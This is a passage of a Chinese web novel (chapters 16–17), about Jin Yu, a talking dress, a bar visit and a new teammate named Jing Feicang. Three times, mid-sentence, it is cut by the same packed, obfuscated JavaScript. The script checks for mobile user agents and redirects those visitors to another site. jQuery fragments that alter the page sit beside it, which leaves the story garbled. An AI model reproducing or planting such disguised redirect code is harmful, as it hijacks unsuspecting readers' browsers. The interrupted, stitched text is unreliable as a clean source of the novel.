;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335106|152573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白阳摸不着头脑,他不解地看了一眼金隅,不过她的脸上并没有一点点玩笑,真诚的目光在太阳下闪耀。 时寻砚想要逃离那从别人口中说出的正确答案,侧过头不理人。 行李箱动了动,盛白阳得到金隅的许可后,打开了箱子,连衣裙没有冒出来,只是轻轻颤抖着。盛白阳能够感受到,它或许是激动不敢看见主人吧。 金隅摊开箱子,当初的连衣裙如今已破损,被手生生扣出来的小洞就摆在蝴蝶的下面,昭示着它的过往。先不谈昨天突然失控的原因,金隅将连衣裙叠好,递到时寻砚的面前。 时寻砚后退了一步,指尖颤抖。 连衣裙一动不动,不敢接近自己的主人,任凭微风吹过裙摆,蓝色的丝线如同波浪,在绿意中翩翩起舞。 时寻砚想伸出手却伸不出,勉强招呼金隅和盛白阳跟她走,几人无言,连耳边的蝉鸣都消失不见,直到宽敞的空间在金隅的眼里映出白色的墙壁,她才定下心,直接将凌晨连衣裙对自己说的话原封不动,全部转述。 “它说,失恋并不可怕,就怕你走不出来。盛白翔一心只有工作,当初和你在一起是因为他要遵守你们之间的诺言。他算不上尊重你,只是将你看做进步的垫脚石。” 盛白阳听到了惊天大瓜,默默捂住张大的嘴巴。 金隅顿了一下,继续道:“你喜欢他,你心里有他,是因为你认为他会给你与之共同进步的机会,你的梦想是设计出这个世界上最漂亮的裙子,他却嗤之以鼻,试图将你禁锢在他那鄙俗的想法框架里。” “你站在壁橱前看这件连衣裙的时候,你在想什么呢?”金隅问她,“是一定要眼前的这个不值得托付终生的男人送给你他最讨厌的东西吗?” “连衣裙不怪你扔掉它,怪你想不透自己的决心,怪你没有勇气为自己买一件得体合适的裙子,怪你总是钻牛角尖,怪你不在意自己却在意他人的眼色。” “连衣裙比盛白翔、比任何人都更关心你,而你,是坚定不移爱自己的第一人。” “扔掉连衣裙的前一天你还在为公司上市而发愁,你在它面前的哭诉它永远记得,它说不出什么更复杂的话,但它产生的情感里有你。” 几净明亮的落地窗外,暖风肆意起,一角的海棠花树托起片片枝叶,夏蝉在无人知晓处吱叫,等待生命凋落。 沉默占领思绪,手里的连衣裙不再动弹,自然垂在臂膀。金隅想到了那件大裤衩,为什么它们更倾向于自己的主人,而不是自己未知的命运呢。 金隅转念一想,它们能讲话、做出滑稽的动作,都是因为,主人赋予了它们人类一样的意识和情感。 时寻砚从始至终都像木桩一样杵在原地,一声清脆的鸟鸣刺破沉寂,又很快消失,唤醒了她久久不得醒来的灵魂。 终于,泪如断珠,泣不成声。 连衣裙的蓝色丝线瓦解,根根脱离,如羽毛般轻盈地飘到地上。 象征着自由的蝴蝶,终于挣脱牢笼,振翅而飞。 16. 我有钱 雷电轰鸣,潇潇夏雨倾盆而下,络绎不绝的雨水从屋檐滴下,在地上溅起朵朵水花,窗户上覆盖着一层水汽,屋里冷气飘飘,屋外滑下一束束水滴。 窝在小沙发上的金隅戴着耳机,仔细听着电话那头的人说话。 “我已经训过我哥了,不过看他没有知错的样子,我决定从今往后要好好纠正他错误的恋爱观。”盛白阳趴在飘窗边,看外面风刮过屋顶和树木,摩擦出声音。眼前的一切都是模糊的,他躺到沙发椅上,“解之说出院了?” 金隅“嗯”了一声。 从时寻砚家离开后解之说就一直要求出院,不过孟星吾没给机会,刚好那天何今有休息,便派他看着解之说,解之说和他不熟,两人四眼相对久久不说话,最后解之说只好打消出院的念头。何今有不厌其烦地守着病房,今天终于得以自由。 “你什么时候再来我家玩呀?”盛白阳扣着手指头,犹豫了许久才开口。 金隅下了沙发,脚踩在冰凉的地上。 “有时间的吧。” 金隅计划明天去洗衣店送衣服,她从衣柜旁拎出之前放置连衣裙的箱子。箱子上尽是划痕,拉链已经拉不上。 今天是休息日,可金隅还是起得很早。那天时寻砚没有要连衣裙,金隅只好将它带回来,盛白翔也不想要它,面对金隅的询问只是皱着眉摇头。 可惜了这件漂亮的裙子,金隅将手机塞进睡衣口袋,拉开破破烂烂的拉链,连衣裙暗色无光,粗糙的线头一眼望去毛毛躁躁,极其不好看。 “金隅,你的梦想想到了吗?要不要以后跟我干?” “这就不用了吧。”金隅回绝,不知怎的,她想起了第一天进爱衣回收时的经历,荀生雨的笑脸,解之说的无言,还有……回收行为手册扉页的那句话—— 你是被选中的人。 “我觉得,这份工作也挺好的,说不定毕业了之后继续做。” 盛白阳失望地“啊”了一声,随后紧张地与金隅告别,“我先挂了,我爸妈知道了我哥的事情,连夜从国外赶回来,我哥刚下班,应该少不了一顿骂。” “好。”金隅扯下耳机,从衣柜里找了个袋子,将连衣裙叠好放进去。手上一下沉甸甸的,金隅出了门,从上面刚好能看见楼下客厅坐着几个人。 柳露,孟亦觉,还有解之说。 金隅不知道他们在干什么,便下了楼凑个热闹。 柳露见金隅兴致高高,连忙将她拉过。解之说看了她一眼,很快就收回视线,金隅捕捉到那一丝偷偷摸摸,不过并没有声张。 “金隅你有喜欢的人吗?” 柳露一上来就直接问问题,金隅被她的直白吓到了,支支吾吾后坦诚回答,“没有。” “好吧。”柳露牵过她的手,数着手指头。 “你们在聊什么?”金隅环视一周,“真心话?” “没有没有,”孟亦觉摆手,“盛白阳说他失恋了,ONELOVE明天全场免费。没想到这盛家小少爷也有为情所困的一天,聊着聊着就聊到大家的感情史了。” “原来是这样,”金隅若有所思,“ONELOVE是什么?” “盛白阳在市区开的酒吧,”柳露解释,又皱起眉,“怎么大家都开了酒吧?” 金隅知道她说的是徐无醒,可能这样比较有格调吧。 “叮咚”一声,门铃响了,柳露率先反应过来,“谁啊?” 孟亦觉离门最近,便跑出大门,打开了院子的小门。 来者高高瘦瘦,伞下一袭白色素裙配上珍珠小皮鞋,尽显简洁时尚,秀丽的长发及腰,淡粉色的侧边发夹夹住碎发。孟星吾没见过这位年轻有活力的女人,一时纳了闷。 “请问,你找谁?” 年轻女人笑笑,客客气气地回答:“我找金隅。” 孟亦觉从门外喊了一嗓子,带着她进入客厅。应声站起的金隅还没踏出客厅,便看到了她。 “时寻砚?” 金隅又惊又喜,“你怎么来了?” 时寻砚面色红润,手里拎着印上LOGO的袋子。 金隅几人互相与她招呼后,散坐在茶几前。 和前几天第一次见的时候不同,金隅惊喜时寻砚的状态很好,热气腾腾的白开水升起五束白烟,在冷气的作用下很快隐去。 窗外的雨渐渐小了,滴滴答答的声音与屋内的交谈碰撞。 “这是我给你买的礼物,”时寻砚不拖延时间,直接开门见山,“是一只手镯,感谢你帮助我。” 她将袋子里的礼盒抽出来,推到金隅的面前。金隅不好意思地推回去,“谢谢,不过这是我应做的,不需要什么礼物……” 她的话还没说完,时寻砚直接打开盒子,拿出手镯,一只手牵过金隅的细胳膊,“东西不算贵重,你不用拒绝我。” 时寻砚轻轻地将镯子推上金隅的手腕,来回仔细看了看,十分心悦,“不错,很适合你。” 金隅红着脸,钉子样的细手镯在灯光下亮起一抹白,“会不会太……” “我有钱,没事”时寻砚放下金隅的手,“我下周就要出国了,说不好什么时候才能再见,谢谢你安慰我,也替我谢谢连衣裙。” “嗯!”金隅重重点头。 时寻砚友好地与大家对视,片刻后拿出自己的名片和黑色的卡,给了每人一张。 “这是我的名片,还有TIE设计的VIP卡,宁泰市内的的两家INKSTORE你们去了都可以打一折。” “这也……” 柳露和孟亦觉看了看名片,听着她的话,惊讶地张大了嘴。两人对视了一眼后,敬佩地看向时寻砚。 好牛逼的女人。 时寻砚下午还要回公司处理事情,在金隅极力挽留下还是与大家告了别。 外面的雨还在下着,不过雨势很小,金隅站在院门外,看着她的背影渐远,直到坐上车奔驰而去。柳露招呼她:“昨天孟亦觉做的奥利奥芝士蛋糕,快来尝尝~” 金隅应了一声,手挡着细雨跑进来,桌上放了四个盘子,上面摆着方方正正的蛋糕。她向四周看去,少了解之说的身影。 “解之说去哪了?” 柳露吃了一口蛋糕,回答:“他说他不太舒服,回去休息了,可能脑震荡还没痊愈吧。” 金隅短暂地晃了晃神,没说话。 第二天傍晚,几人趁着雨停奔赴盛白阳的酒吧,金隅本来并不打算去的,可架不住柳露和孟亦觉的盛情邀约。金隅去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341905|152573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,解之说自然也跟着去,到了熟悉的酒吧门前,金隅感叹有钱人就是豪横,几排形状奇特的汽车停在路边,一看就价格不菲。酒吧门口站着统一制服的服务员,见到他们一行人来,礼貌地弯腰问好。 没见过如此架势的金隅畏畏缩缩,跟在柳露的后面。 盛白阳为他们准备了一座包厢,穿过林林总总,身形高大的帅哥服务员打开带着清香的木门,柳露带着金隅落座,对着酒单点来点去,最后点了两份芒果蛋挞,一份车厘子巧克力蛋糕,一杯白桃香草气泡水和一杯树莓气泡水。 暗淡的黄光下,金隅坐在桌前发呆。点完单后还需要些时间等待,她无所事事地托着下巴,眼里无神。 白皙的手腕上挂着那只手镯,解之说趁孟亦觉纠结酒单的空隙,抬头对上金隅那双看不出情绪的眼睛,他处在迎光下,无声陷进空洞的沉沦。 孟亦觉终于选好了酒品,胳膊肘轻轻怼了怼解之说,解之说一惊,忘记时间的他回过神来,很快就点好了。再一看,金隅已经和柳露兴致盎然地聊着天。 约摸过了二十分钟,两名服务员从外推门而入,一顿摆弄后每个人面前都放着自己点的东西,抿了一口气泡水,金隅的视线向上,不知何时,服务员身后大开的门外,在人来人往中伫立的影子,有点像盛白阳。 那影子似乎受到了什么影响,左右剧烈摇摆了几下后向后仰倒,没了动静。 “盛白阳?” 金隅站起来,柳露还在状况外,解之说循着她的视线回头望去,门外热闹的人群有说有笑,举杯交盏。看不出什么奇怪的地方,金隅坐下来,后悔刚才的冲动。 “怎么了?”柳露看着门被服务员关上,喧嚣声被阻隔,一头雾水。 “没怎么,”金隅喝了一口气泡水,“可能是我看错了。” 柳露见状便放下心,和孟亦觉你一句我一句,有来有往。很快,欢快的气氛漫布包厢。金隅趁着机会,发了个短信给盛白阳。 那头久久没有动静,就在她要放弃信息轰炸时,灵动一声,盛白阳终于回了消息。 “我有钱,你不用管我。” 好好好,大家都有钱。 金隅不知道他为什么只回答了自己第一个问题,便重复了一遍。 【你现在在哪儿?】 盛白阳:【在酒吧啊,喝酒】 【刚才有发生什么吗?】 盛白阳:【什】 盛白阳一定是喝醉了,金隅趁他还有点意识,没有多说废话。 【比如,你被人推倒之类的,我好像看到你在外面了。】 过了五分钟,金隅等来了消息。 盛白阳:【en】 什么意思? 金隅眉头紧皱,收起手机,“我出去一趟。” “啊?” 柳露和孟亦觉疑惑地目送她离开,解之说张了张嘴没说话,直直看着她离开。 门外的DJ声吵得金隅耳朵疼,她勉强在各色灯光下睁开眼,朝刚才黑影的方位看去。 视线尽头的卡座上人影重重,金隅看不见有谁在,往前走了一步。 不料重重的东西撞向自己,她吃痛低头,看清了眼下的人。 “抱歉。” 17. 新加入的队员 金隅努力辨认光影重重下的小人,扎着低马尾小揪揪的女孩只到她的肩膀处,看不清瞳色的眼睛上戴着红框圆形眼镜,朴素的衣服与女孩本身的穿戴不符,也与周围的环境格格不入。 是走丢的孩子? 金隅正纳闷,手机震动一声。 眼下最重要的事情是找到盛白阳,金隅打开手机,一条消息传来。 盛白阳:【我回家了,拜拜】 关掉手机,金隅打算回去,不料那位小女孩抓住自己的一角,可怜巴巴地对她说:“姐姐,我找不到出去的路了。” “哦,”金隅拉着她的手,为她指明道路,“从这里直走,你可以看到一个吧台,接着右转再直走,就能出去了。” “谢谢姐姐。”女孩明媚地展开笑容,刚走一步又被金隅拉住,“要不要我带你过去?” “不用不用,”女孩摆摆手,望向金隅的斜后方,“好像有人在等你,我就先走了,谢谢姐姐。” “没事,”金隅看着她离去,直到背影消失在暗光中,她才转过身,解之说站在壁灯下,萤火虫般的灯光在他的脸上打下阴影。 “你怎么出来了?”金隅走近他,与他站在灯光照明的范围内。 解之说的眸光一闪,久久不说话,金隅就站在原地看着他,默不作声。 不知两人待了多久,来来往往形色各异的客人路过都悄悄看上一眼,然后走开。酒吧的兴奋持续上涨,随着时间的推移,灯光音乐越来越丰富。解之说看着不远处的舞台,做了好久的心理准备才收回视线,一心放在金隅的身上。 “我……” 话刚说出口,柳露和孟亦觉从门内走出来,脸上带着欢乐的红。 “我们回去啦。”柳露攀上金隅细长的手臂,打断了接下来的交谈。孟亦觉靠上解之说的肩膀拥着他往门口走,金隅站在他的身后,默默看了一眼,随后柳露拉了她一把,她只好跟上去。 夏日的气息久久不散,惹气在几人推开门后争先恐后地扑上来,金隅一时模糊了呼吸,傻傻地和柳露站在屋檐下等着解之说开车过来。 “你刚才出去是干什么啊?”柳露眨着大眼睛,往金隅身上凑了凑,金隅一五一十地将自己和盛白阳的聊天内容都说了出来,柳露也有些疑惑,“你是不是看错了?” “也许吧,”金隅目视前方,看到车的影子,“不过我总觉得奇怪。” “诶呀,可能是这几天没休息好,”柳露安慰她,“会不会有什么衣服又去你卧室跳舞了?” 金隅那天从时寻砚家回来之后,将那段时间发生的一些事情告诉了大家,比如连衣裙半夜跳舞爬墙之类的。 车来了,孟亦觉从副驾驶降下车窗,招呼两人上车。坐上车,金隅靠在窗前,看窗外的景色离自己越来越远。到宿舍时已经九点了,解之说将车停在路边,几人下了车,往小坡上走。 一边是参差不齐的居民楼,一边是在夜色下浓得发黑的绿色景观中伫立着几座高楼,直到绵延小山飞向视野尽头,与天空融为一体。 “我们什么时候去植物园和景佳湖看看?”柳露语气一转,“来了宁泰市那么久,好多有名的地方都没去过。” “好啊。”走在前头的孟亦觉转过身,“到时候你可别后悔。” 柳露白了他一眼,“怎么可能。” 金隅被他俩逗笑了,几人边走边聊,很快就走到宿舍门口。院内的挂灯一闪一闪的,金隅瞧着喜欢,一股潮湿的热气又从身后袭来。 “这里比坡下面潮了一点,景佳湖刚好在附近,小山那边的别墅区还有个人造湖,平时人超多,湖那边还有片空地,有时候还能听见放烟花的声音。”孟亦觉推开院门,“我们也可以去那边玩玩。” 柳露听着来了兴趣,跟上他的步伐问东问西,孟亦觉总是逗她,话就说一半任由她着急却又无可奈何。解之说走在他们的后面,一只脚还没踏进大门,就被金隅拽住。 “怎么了?”他皱了皱眉头,视线随着金隅的动作向下。 是皱巴巴的护身符。 “你的护身符掉了,”金隅将护身符递给他,“小心点。” “谢谢,”解之说伸手接过护身符,却发现金隅暗暗用力,他只轻轻用了点力气便放下手。 “还有什么事吗?” 金隅微微低着头苦思冥想,解之说看着她面部变化,不忍心逼她快速做出回应,于是耐心地等着。 屋内响起了柳露和孟亦觉的惊呼声,金隅的呼吸稍稍加重,犹豫不决的嘴唇一张一合,手指忘记了护身符的存在而更加用力,看着她手上变形的透明皮套,解之说连忙阻止,却慢了一步。 “你,”金隅指了指自己的头,“还好吗?恢复得怎么样?” 解之说又惊又喜,一下便忘了护身符艰难的处境,“很好了,恢复得不错。” “行,”金隅心里的石头放下,舒了口气。在解之说的目光中想起护身符的存在,连忙将它塞进解之说的手中。 两人全都一身轻地走进屋子,一楼客厅的灯全部亮着。 没见过如此明亮的客厅,金隅从解之说身后冒出头来,问坐在餐桌前的柳露,“今天有什么活动吗?” 一直在楼下等他们的柳露赶忙站起来,“没啥活动,是新队员来了。” “啊?”金隅一脸懵,和同样状态的解之说互相对视一眼,四下望去,好像客厅里多了些什么。 突然楼上传来动静,乖巧的声音响起,金隅听到了孟星吾和孟亦觉的交谈声,还有,那道熟悉的声音…… 鞋跟在楼梯上敲响韵律,金隅随着几人的身影看去,意想不到的人就这样出现在眼前。 “大家好,我是今天刚加入公司的新人,”红色的圆框眼镜下,明亮的一双眸子与灯光辉映,新人在金隅的身上停留了好长时间,最后说出了自己的名字,“景非苍,我叫景非苍。” 柳露在厨房忙好事情,端出一杯浓郁的咖啡,“小苍,你要的咖啡。” “谢谢露姐姐,”景非苍越过金隅,满脸笑容地接过热咖啡。 从眼前走过的一刹那,金隅难免抑制不住好奇新人的到来,垂下眼眸却看到了景非苍头顶丝丝白发,还有耳后模糊的图案。 “金隅姐姐,今天真是谢谢你,不然我现在还在外面晃悠呢。”景非苍坐上椅子,对着没缓过神来的金隅浅浅一笑。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347599|152573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天还挺巧,”柳露已经从景非苍口中知晓今天所发生的事情,她又从厨房端出一盘甜品放在景非苍眼前,“树莓慕斯蛋糕。” “谢谢姐姐。”景非苍依旧笑语盈盈的,柳露在一声声“姐姐”中迷失自我,恨不得抱上她亲几口。 孟星吾坐在矮茶几前,看着眼前的热闹。解之说打算回房间休息,一不小心对上孟星吾幽暗的眼神。这几天孟星吾不在市区,听说解之说住院第一晚就和金隅溜出去,回来之后又一直要求出院,气得差点要到唐泉面前打报告,要不是唐泉至今未醒,不然早就追着他讲道理。 解之说僵硬地动了动身体,一个字都没蹦出来就跑上了楼,金隅还没来得及看到他的背影,只抓住了衣服口袋里摇摇欲坠的护身符反射着的一抹细光。 孟亦觉和柳露加入景非苍愉快的话题中,落了单的金隅见自己插不上嘴,只能和孟星吾聊着工作上的事情,顺便再吹吹牛,回忆回忆高中时候的事情。 约摸过了两个小时,筋疲力尽的柳露和孟亦觉乖乖回去休息,对金隅嘱咐完一些事情后,孟星吾也上了楼。莫名精力旺盛的金隅和同样活力满满的景非苍大眼瞪小眼,找不到话题的金隅正准备与她告别,景非苍便发出了邀约,“要不要去我房间玩?” 金隅犹豫了几秒,随后点点头。 得到回应的景非苍蹦蹦跳跳地拉着金隅到自己的房间,金隅估摸着她年纪不大,便问:“你多大了?这么早就出来工作?” 景非苍从堆满材料的墙角拿出一个小小的画板,漫不经心地回答:“快十八了,我无依无靠的,得早点出来寻生路,”她将画板递到金隅面前,“我来了这里之后画了一幅画,送给你。” “啊?”金隅受宠若惊,本打算回绝。可架不住景非苍真挚的目光,只能不好意思地接过这幅画,“谢谢。” “姐姐,我们聊会天吧?”景非苍抽出床脚被收起来的折叠小沙发,“我特别想和姐姐聊聊。” 明明在今天之前还是从未见过的陌生人,金隅不懂景非苍为何如此热情,但也不想让一个十七岁的小孩子伤心,还好自己也不累,金隅便挨着景非苍坐下,将画板靠在沙发边。 “你喜欢画画?”金隅看向那纷杂的角落,率先问出口。 “嗯,”景非苍点点头,平静的脸上很快染上绯红,“画画可以让我拥有好心情。” “姐姐你喜欢什么?” 这次轮到景非苍问了。金隅想了想,应该和盛白阳问的梦想差不多吧,“喜欢这份工作,算吗?” 景非苍“咯咯”笑着,眼睛在镜框下弯成月牙。金隅不好意思地也笑了两声。 “姐姐你真好,”景非苍忍不住笑意,靠上金隅的肩膀。 金隅不知道这有什么好夸的,但耳根渐渐红透,她一只手扶着景非苍的身体,一只手搭上旁边的画板。 笑声在冷气愈发的强盛下慢慢停止,景非苍仰起头想和金隅继续聊下去,却被突如其来的闷声打断。像是什么东西撞到了地上,金隅看向雪白的墙壁,声音不是从身后柳露的卧室传来的,可前方是自己的卧室。她疑惑地皱起眉,没等站起来,又是一记清脆的破碎声。 解之说?